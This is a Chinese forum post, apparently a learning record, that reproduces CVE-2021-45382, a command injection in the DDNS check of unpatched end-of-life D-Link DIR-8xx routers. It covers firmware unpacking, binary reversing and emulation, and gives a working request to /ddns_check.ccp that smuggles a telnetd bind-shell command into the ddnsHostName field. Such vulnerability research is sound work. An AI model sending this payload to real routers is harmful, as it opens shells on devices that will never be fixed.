首页
社区
课程
招聘
命令注入漏洞CVE-2021-45382复现(学习记录)
2023-7-30 19:11 11228

命令注入漏洞CVE-2021-45382复现(学习记录)

2023-7-30 19:11
11228

0x01 漏洞信息

  • CVE编号:CVE-2021-45382
  • 漏洞描述:A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file. Note: DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
  • 设备型号: D-Link DIR-830L
  • 固件版本:FW1.00.B07 (Release)
  • 厂商官网:http://www.dlink.com.cn/
  • 固件地址:legacyfiles.us.dlink.com - /DIR-830L/REVA/FIRMWARE/

这个漏洞影响的版本较多:DIR-810L、DIR-820L、DIR-826L、DIR-830L、DIR-836L。很好奇这个漏洞怎么做到没有被及时发现,影响到这么多个版本的。同时也希望通过分析发现新的命令注入可能存在的漏洞点。

0x02 固件分析

2.1 固件解包

使用binwalk解包,获取固件文件系统:

1
binwalk -Me DIR810LA1_FW102B22.bin

查看一下启动文件:

查看一下二进制文件,发现存在telnet、telnetd和wget可用于漏洞验证:

2.2 文件分析

在漏洞描述中详细的说明漏洞存在于ncc2文件中的DDNS函数中,直接在文件系统中查找ncc2文件:

将sbin/ncc文件拿到IDA中分析,直接查找ddns函数,定位到关键函数并在doCheck函数中找到漏洞点:

上述代码含义为:判断ccp_act的值是否为doCheck,若为doCheck则调用doCheck函数检查参数。

查找get_entry_value_by_name__system函数的实现:

上述代码含义是:通过get_entry_value_by_name获取ddnsHostName、ddnsUsername、ddnsPassword的值并将其传入到__system中拼接执行。在这个过程中并没有对从前端输入的数据进行过滤或者检查,因此导致了命令注入漏洞。ddnsHostName、ddnsUsername、ddnsPassword的值是通过ddns_check.ccp传入。综上可知大概的payload如下:

1
2
3
POST /ddns_check.ccp HTTP/1.1
...
ccp_act=doCheck&ddnsHostName=xxxx&ddnsUsername=xxxx&ddnsPassword=xxxx

0x03 漏洞复现

3.1 模拟固件

使用FirmAE模拟固件:

默认密码为空,直接登录即可。

3.2 改包验证

登录后,抓包改包验证漏洞:

1
2
3
4
5
将GET /Home.html HTTP/1.1改为:
POST /ddns_check.ccp HTTP/1.1
...
在包体中添加:
ccp_act=doCheck&ddnsHostName=;/bin/telnetd -l /bin/sh -p 7080 -b 0.0.0.0;&ddnsUsername=xxxx&ddnsPassword=xxxx

复现成功,取得shell:

0x04 复现总结

这个命令执行漏洞没有后台页面存在,是直接POST 数据到ddns_check.ccp交给后端处理,处理好之后将结果返回给用户。因而比较隐蔽不容易被发现,需要通过逆向ncc2文件才能发现其端倪。感觉很奇怪,为什么要留一个不提供用户接口的ddns_check功能,虽然在www文件夹下发现了一个DynamicDNS.html页面,并且ddns看命名也像是和动态dns有关,但是设置动态dns默认是关闭的并且文件中也没有向URL:/ddns_check.ccp提交数据的代码。因此怀疑本漏洞所在功能是某个版本遗留功能。

0x05 参考文章


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 12
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
DavidJou 2023-8-4 18:19
2
0
大佬能不能看看CVE-2023-27216_D-Link_DSL-3782_Router_command_injection的RCE,github有文档
雪    币: 385
活跃值: (3928)
能力值: ( LV8,RANK:155 )
在线值:
发帖
回帖
粉丝
伯爵的信仰 1 2023-8-4 19:39
3
0
DavidJou 大佬能不能看看CVE-2023-27216_D-Link_DSL-3782_Router_command_injection的RCE,github有文档
安排
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_荼蘼 2024-4-10 15:37
4
0
大佬,我有个问题,这个url是怎么确定的?这个callback_ccp_dns_check函数是ncc文件export出去的,但是我在整个文件系统都没有看到这个函数有在别的文件中引用或者web服务中引用,求指教
游客
登录 | 注册 方可回帖
返回